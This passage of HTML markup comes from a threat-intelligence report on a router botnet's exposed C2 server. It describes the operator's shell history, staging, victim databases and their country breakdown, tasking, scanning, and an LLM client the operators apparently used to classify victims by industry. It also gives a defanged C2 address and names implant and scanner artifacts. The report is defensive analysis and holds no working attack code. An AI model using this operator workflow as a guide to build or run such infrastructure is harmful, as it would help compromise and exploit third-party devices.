  &lt;li&gt;Public-scan workspace setup: creation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap/&lt;/code&gt;, installation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt;, creation of a Python virtual environment, installation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fastapi&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uvicorn&lt;/code&gt;, execution and editing of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server.py&lt;/code&gt;, and use of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmux&lt;/code&gt; session named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Runtime checks: repeated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netstat&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;killall fserver&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;screen -r&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;top&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ufw&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iptables&lt;/code&gt;, and service status commands.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The history tells us what was installed, started, restarted and reconfigured over time. It says nothing about which of those components ran simultaneously.&lt;/p&gt;

&lt;p&gt;It does explain the directory layout we recovered: several folders were created during interactive administration, components were run in detached terminal sessions, and tooling was repeatedly copied, restarted, and reconfigured. This was a server under hands-on maintenance, hosting multiple C2 and support components. Who that operator was, the history does not say.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;6-reconstructing-the-operator-workflow&quot;&gt;6. Reconstructing the Operator Workflow&lt;/h2&gt;

&lt;p&gt;Collectively, the exposed files show how the environment was likely operated: payloads were generated and staged, implants checked in to victim databases, listeners were configured through SQLite state, tasks and scan results moved through backend components, and selected devices were used for scanning or proxy-style runtime deployment. This section connects those layers into an operator workflow instead of re-listing every recovered file, and builds on the interactive administration evidence from &lt;a href=&quot;#5-shell-history-how-the-exposed-host-was-operated&quot;&gt;Section 5&lt;/a&gt;: several of the components discussed below (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ts&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;es&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnslog&lt;/code&gt;) match the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;screen&lt;/code&gt; session names recovered from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bash_history&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zyxel-c2/operator-workflow-overview.svg&quot; alt=&quot;Operator workflow overview&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 1: High-level operator workflow reconstructed from device and exposed-backend evidence.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;61-staging-and-config-generation&quot;&gt;6.1 Staging and Config Generation&lt;/h3&gt;

&lt;p&gt;As described from the device-side evidence in &lt;a href=&quot;#221-staging-implants-and-delivery-shifts&quot;&gt;Section 2.2.1&lt;/a&gt;, short-token paths such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hqsz*&lt;/code&gt; appeared in HTTP delivery URLs for generated payloads with per-sample configuration. These tokens should be read as staging paths, not as stable local filenames. Older i386/MIPS samples carried XOR-encoded embedded config, while later MIPS &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xbeacon&lt;/code&gt;-style samples carried encrypted config appended to the end of the file. The recovered configs exposed values such as host, port, architecture, and a 16-byte identifier.&lt;/p&gt;

&lt;p&gt;After visible staging moved from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp/&lt;/code&gt;, the device logs no longer showed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hqsz*&lt;/code&gt; delivery URLs. Tokenized generation may have continued server-side, but it was no longer visible in the same way from the device evidence.&lt;/p&gt;

&lt;h3 id=&quot;62-implant-online-and-victim-databases&quot;&gt;6.2 Implant Online and Victim Databases&lt;/h3&gt;

&lt;p&gt;The exposed backend contained two SQLite databases with victim records, stored in tables literally named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clients&lt;/code&gt; in the recovered schemas; we use “victim” in prose and reserve “client”/”clients” for the literal database and table names. These databases provide the clearest backend-side view of the infected-device population observed in the dump. Their timestamps and row counts also help describe how the backend population changed during the observed period.&lt;/p&gt;

&lt;p&gt;Two database populations were present:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2old/.bdb&lt;/code&gt;: 9,034 victim rows&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/.bdb&lt;/code&gt;: 2,914 victim rows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Despite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2old&lt;/code&gt; path name, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2old/.bdb&lt;/code&gt; did not appear to be a cold archive. Its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clients&lt;/code&gt; table stored &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create_time&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update_time&lt;/code&gt; values for all 9,034 rows, and the aggregate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create_time&lt;/code&gt; values showed continued growth across the observed period:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Period based on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create_time&lt;/code&gt;&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;New victim rows&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;Cumulative victim rows&lt;/th&gt;
      &lt;th&gt;Interpretation&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;February 2026&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;2,552&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;2,552&lt;/td&gt;
      &lt;td&gt;The database was already being populated in February.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;March 2026&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5,439&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;7,991&lt;/td&gt;
      &lt;td&gt;March represented the largest observed growth phase.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;April 2026&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;1,043&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;9,034&lt;/td&gt;
      &lt;td&gt;New rows were still being added into April 2026.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Additional timestamp and binary evidence supports that interpretation. The largest &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create_time&lt;/code&gt; clusters occurred on February 5, 2026 (2,004 rows), March 11, 2026 (2,139 rows), and April 12, 2026 (932 rows), indicating bursty enrollment rather than steady linear growth. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update_time&lt;/code&gt; values extended to April 20, 2026, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2_old&lt;/code&gt; contained SQL logic for updating victim &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;status&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update_time&lt;/code&gt;, indicating that existing rows could still be refreshed near the dump date.&lt;/p&gt;

&lt;p&gt;We interpret &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2old&lt;/code&gt; as a filesystem label for an older or separate component. The database contents and timestamps show that it was still relevant near the dump date.&lt;/p&gt;

&lt;p&gt;Our controlled honeypot device appeared in both populations. This supports the operational hypothesis of multiple backend streams or generations, but not exact old/new lineage by itself.&lt;/p&gt;

&lt;h3 id=&quot;63-victim-geography-and-operator-side-target-segmentation&quot;&gt;6.3 Victim Geography and Operator-Side Target Segmentation&lt;/h3&gt;

&lt;p&gt;The exposed victim data indicates a globally distributed infected-device population. The strongest evidence comes from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2old/.bdb&lt;/code&gt;, which contained 9,034 victim rows and 183 distinct populated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;area&lt;/code&gt; values.&lt;/p&gt;

&lt;p&gt;The framework’s stored &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;area&lt;/code&gt; values were Chinese-language labels and did not provide a fully normalized country-level view. They mixed countries, cities or provinces, and broader regional descriptors. To standardize the geography assessment, we enriched the public IP values from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2old/.bdb&lt;/code&gt; with our GeoIP dataset. The GeoIP enrichment resolved all 9,034 rows to country-level results across 140 countries.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zyxel-c2/c2old-tisp-world-heatmap.png&quot; alt=&quot;World heat map of `move/c2old` victim rows by country&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 2: World heat map of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2old&lt;/code&gt; victim rows by country, based on our GeoIP lookup.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Top exposed victim countries in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2old/.bdb&lt;/code&gt;:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Rank&lt;/th&gt;
      &lt;th&gt;Country&lt;/th&gt;
      &lt;th&gt;Victim rows&lt;/th&gt;
      &lt;th&gt;Share&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;Russia&lt;/td&gt;
      &lt;td&gt;953&lt;/td&gt;
      &lt;td&gt;10.5%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;Italy&lt;/td&gt;
      &lt;td&gt;790&lt;/td&gt;
      &lt;td&gt;8.7%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;United States&lt;/td&gt;
      &lt;td&gt;693&lt;/td&gt;
      &lt;td&gt;7.7%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;France&lt;/td&gt;
      &lt;td&gt;549&lt;/td&gt;
      &lt;td&gt;6.1%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;Brazil&lt;/td&gt;
      &lt;td&gt;459&lt;/td&gt;
      &lt;td&gt;5.1%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;6&lt;/td&gt;
      &lt;td&gt;Taiwan&lt;/td&gt;
      &lt;td&gt;419&lt;/td&gt;
      &lt;td&gt;4.6%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;7&lt;/td&gt;
      &lt;td&gt;Ukraine&lt;/td&gt;
      &lt;td&gt;410&lt;/td&gt;
      &lt;td&gt;4.5%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;8&lt;/td&gt;
      &lt;td&gt;Bulgaria&lt;/td&gt;
      &lt;td&gt;306&lt;/td&gt;
      &lt;td&gt;3.4%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;9&lt;/td&gt;
      &lt;td&gt;Sweden&lt;/td&gt;
      &lt;td&gt;284&lt;/td&gt;
      &lt;td&gt;3.1%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10&lt;/td&gt;
      &lt;td&gt;South Korea&lt;/td&gt;
      &lt;td&gt;264&lt;/td&gt;
      &lt;td&gt;2.9%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;To compare the second victim database on the same basis, we applied the same GeoIP enrichment to the public &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;External&lt;/code&gt; values in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/.bdb&lt;/code&gt;. The lookup resolved all 2,914 rows across 75 countries. The resulting distribution differs from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2old/.bdb&lt;/code&gt;. However, our controlled honeypot device appeared in both databases, supporting a relationship between the two populations without making them interchangeable.&lt;/p&gt;

&lt;p&gt;Top exposed victim countries in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/.bdb&lt;/code&gt;:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Rank&lt;/th&gt;
      &lt;th&gt;Country&lt;/th&gt;
      &lt;th&gt;Victim rows&lt;/th&gt;
      &lt;th&gt;Share&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;Italy&lt;/td&gt;
      &lt;td&gt;591&lt;/td&gt;
      &lt;td&gt;20.3%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;France&lt;/td&gt;
      &lt;td&gt;457&lt;/td&gt;
      &lt;td&gt;15.7%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;United States&lt;/td&gt;
      &lt;td&gt;278&lt;/td&gt;
      &lt;td&gt;9.5%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;Switzerland&lt;/td&gt;
      &lt;td&gt;218&lt;/td&gt;
      &lt;td&gt;7.5%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;Sweden&lt;/td&gt;
      &lt;td&gt;167&lt;/td&gt;
      &lt;td&gt;5.7%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;6&lt;/td&gt;
      &lt;td&gt;South Korea&lt;/td&gt;
      &lt;td&gt;147&lt;/td&gt;
      &lt;td&gt;5.0%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;7&lt;/td&gt;
      &lt;td&gt;Austria&lt;/td&gt;
      &lt;td&gt;111&lt;/td&gt;
      &lt;td&gt;3.8%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;8&lt;/td&gt;
      &lt;td&gt;Taiwan&lt;/td&gt;
      &lt;td&gt;105&lt;/td&gt;
      &lt;td&gt;3.6%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;9&lt;/td&gt;
      &lt;td&gt;Spain&lt;/td&gt;
      &lt;td&gt;76&lt;/td&gt;
      &lt;td&gt;2.6%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10&lt;/td&gt;
      &lt;td&gt;Germany&lt;/td&gt;
      &lt;td&gt;76&lt;/td&gt;
      &lt;td&gt;2.6%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h4 id=&quot;tooling-geography-and-operator-side-labels&quot;&gt;Tooling Geography and Operator-Side Labels&lt;/h4&gt;

&lt;p&gt;Separate from victim geography, the recovered tooling also contained indicators of how geography and scan output were handled inside the operator environment.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c2_old&lt;/code&gt; binary also contained &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QQWry&lt;/code&gt; references. QQWry is a Chinese IP-to-region database family used to map IP addresses to geographic or network-provider labels.&lt;/p&gt;

&lt;p&gt;Chinese-language comments and status strings also appeared in several scripts and logs. We treat these as operator/tooling-language indicators. Examples include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/protocol.py&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;通信协议定义（服务端 &amp;amp; 客户端共用）&lt;/code&gt; =&amp;gt; communication protocol definition shared by server and client&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap/ikuai_get _version.py&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;开始扫描 ... 个目标&lt;/code&gt; =&amp;gt; start scanning … targets&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap/ikuai_get _version.py&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[成功]&lt;/code&gt; =&amp;gt; success&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap/ikuai_get _version.py&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[失败]&lt;/code&gt; =&amp;gt; failure&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget/totolink/asp/1.sh&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;下载 mps&lt;/code&gt; =&amp;gt; download mps&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget/totolink/asp/1.sh&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;删除自身&lt;/code&gt; =&amp;gt; delete itself&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/es.log&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;任务完成&lt;/code&gt; =&amp;gt; task completed&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/es.log&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;发送任务结果&lt;/code&gt; =&amp;gt; send task results&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/es.log&lt;/code&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;存活 ... 个&lt;/code&gt; =&amp;gt; alive … entries&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The public-target scan workspace showed another kind of segmentation: grouping by result filename. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap/hosts.txt&lt;/code&gt; contained 96,021 entries, while adjacent result files included &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sorted_results.NoCn.txt&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sorted_results.tw.txt&lt;/code&gt;. Those names suggest operator-side grouping such as non-China and Taiwan-focused result sets. This is workflow evidence for how scan output was organized.&lt;/p&gt;

&lt;h3 id=&quot;64-listener-and-tasking-configuration&quot;&gt;6.4 Listener and Tasking Configuration&lt;/h3&gt;

&lt;p&gt;The recovered backend stored victim records and runtime configuration. Several SQLite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cdb&lt;/code&gt; artifacts acted as runtime configuration for listener and tasking components. In local checks, changes to listener rows changed which listeners were opened by the recovered components. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/ts&lt;/code&gt; also bound &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:8888&lt;/code&gt; from values in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/.cdb&lt;/code&gt;. This ties the database artifacts to executable backend behavior: the exposed files were not static templates but operational C2 infrastructure.&lt;/p&gt;

&lt;p&gt;Tasking evidence appeared across both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/es_new&lt;/code&gt;: task message logging and correlation with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;task_results/*.json&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/es&lt;/code&gt;: POC/EXP task handlers and task-result persistence&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/ts&lt;/code&gt;: batch-shell execution and shell-response handling&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The recovered &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/task_results&lt;/code&gt; data also included decoded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ports_detect&lt;/code&gt; results. Each six-byte &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raw_data&lt;/code&gt; record encoded an IPv4 address followed by a TCP port, linking log counters, JSON result files, and scan-result persistence. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/es_new&lt;/code&gt; also embedded a DeepSeek-compatible LLM client: recovered Go symbols included &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/internal/es/ipindustry.(*llmClient).chat&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;analyzeIndustry&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buildPrompt&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parseResponse&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(*Uplink).handleIndustryDetect&lt;/code&gt;, alongside embedded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deepseek-chat&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://api.deepseek[.]com/v1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authorization&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Bearer&lt;/code&gt; strings. The call chain covers prompt construction, an LLM chat call, response parsing, and an industry-detection handler. Taken as a whole, it points toward automated victim classification: the model is asked to label the industry or sector of a compromised host from collected metadata. We read this as target-triage tooling, not as AI-assisted exploit development.&lt;/p&gt;

&lt;p&gt;Scanning was implemented through several paths. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2old/c2_old&lt;/code&gt; contained a Redis-backed bot/portscan subsystem with bot state, port-scan start/end handling, and export-to-file behavior. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/es_new&lt;/code&gt; logs recorded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ports_detect&lt;/code&gt; tasks, progress callbacks, result sizes, and follow-up &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;download_task&lt;/code&gt; messages. In &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/&lt;/code&gt;, the concrete device-side LAN scanner was the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo.sh&lt;/code&gt; launcher and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo_linux_mips&lt;/code&gt; binary, described in &lt;a href=&quot;#223-local-network-scanner-gogosh-and-gogo_linux_mips&quot;&gt;Section 2.2.3&lt;/a&gt;. On the controlled Zyxel, we observed script delivery, local scan execution, JSON result generation, and result upload back to the operator backend. Scanning therefore extended through infected devices into networks the operators could not reach directly.&lt;/p&gt;

&lt;p&gt;The exposed dump also contained a separate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap/&lt;/code&gt; workspace for public-target fingerprinting. We assess that workspace as distinct from the bot-driven scanner and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo&lt;/code&gt; LAN-scanning path.&lt;/p&gt;

&lt;h3 id=&quot;65-proxy-and-tunnel-functions&quot;&gt;6.5 Proxy and Tunnel Functions&lt;/h3&gt;

&lt;p&gt;The recovered evidence also pointed to proxy and tunneling functionality alongside implant and tasking workflows. Relevant indicators appeared across several layers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/ts&lt;/code&gt;: proxy-message decoding paths&lt;/li&gt;
  &lt;li&gt;Go MIPS runtime: WSS and SSH reverse-proxy functionality compatible with IPRoyal/Pawns-style residential-proxy clients&lt;/li&gt;
  &lt;li&gt;process-memory strings: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forwarded-tcpip&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traffic_sold&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;access_token&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These indicators, read together, show that the operation used compromised devices for proxy or tunneling capability alongside C2 management and scanning; we limit that conclusion to the observed artifacts and devices.&lt;/p&gt;

&lt;h3 id=&quot;66-device-to-dump-correlation&quot;&gt;6.6 Device-to-Dump Correlation&lt;/h3&gt;

&lt;p&gt;The device evidence and the exposed dump connect at several independent layers.&lt;/p&gt;

&lt;p&gt;First, decoded implant configurations provided a direct network-level pivot. Among the endpoints recovered by the extractors described in &lt;a href=&quot;#221-staging-implants-and-delivery-shifts&quot;&gt;Section 2.2.1&lt;/a&gt; was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;13.210.186[.]13:8888&lt;/code&gt;, the same host and port associated with the exposed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver&lt;/code&gt; backend from which the dump was obtained. The dump also contained an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/.cdb&lt;/code&gt; listener configured for port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8888&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/ts&lt;/code&gt; was observed binding that listener from the database. Second, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo.sh&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gogo_linux_mips&lt;/code&gt; scanner pair matched between the device evidence and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/&lt;/code&gt; upload paths by hash; on the controlled Zyxel, we observed the same workflow execute and return scan output. Third, the controlled device appeared in both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move/c2old/.bdb&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/.bdb&lt;/code&gt;, with victim-specific fields withheld, tying the observed device to both backend database populations.&lt;/p&gt;

&lt;p&gt;The large Go MIPS runtime provides another direct link. The runtime recovered from the Zyxel and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xserver/ts_upload/mips&lt;/code&gt; in the dump matched by SHA-256 and Go BuildID. On the device, the same runtime exposed IPRoyal/Pawns-compatible proxy behavior in process memory.&lt;/p&gt;

&lt;p&gt;These links connect the exposed dump to the observed device activity at network, file, database, and workflow level. We therefore treat the dump as server-side operational context for the same activity, while keeping campaign naming and actor attribution out of scope.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;7-analytical-limits-and-open-questions&quot;&gt;7. Analytical Limits and Open Questions&lt;/h2&gt;

&lt;p&gt;This report is based on device-side evidence, exposed server-side files, shell history, timestamps, recovered databases, logs, and local runtime checks. These sources provide a strong view of the operator environment, but not a complete forensic image of the exposed host. The following limits define the scope of the assessment.&lt;/p&gt;

&lt;h3 id=&quot;actor-identity&quot;&gt;Actor Identity&lt;/h3&gt;

&lt;p&gt;Recovered strings, language indicators, and workflow traces provide context about tooling and the operator environment, but they do not identify a specific actor. Identity-side telemetry and infrastructure pivots provided the initial lead, but the recovered evidence does not support naming a specific actor. We therefore keep this report focused on infrastructure, tooling, workflow, and victim-side observations.&lt;/p&gt;

&lt;h3 id=&quot;database-and-implant-streams&quot;&gt;Database and Implant Streams&lt;/h3&gt;

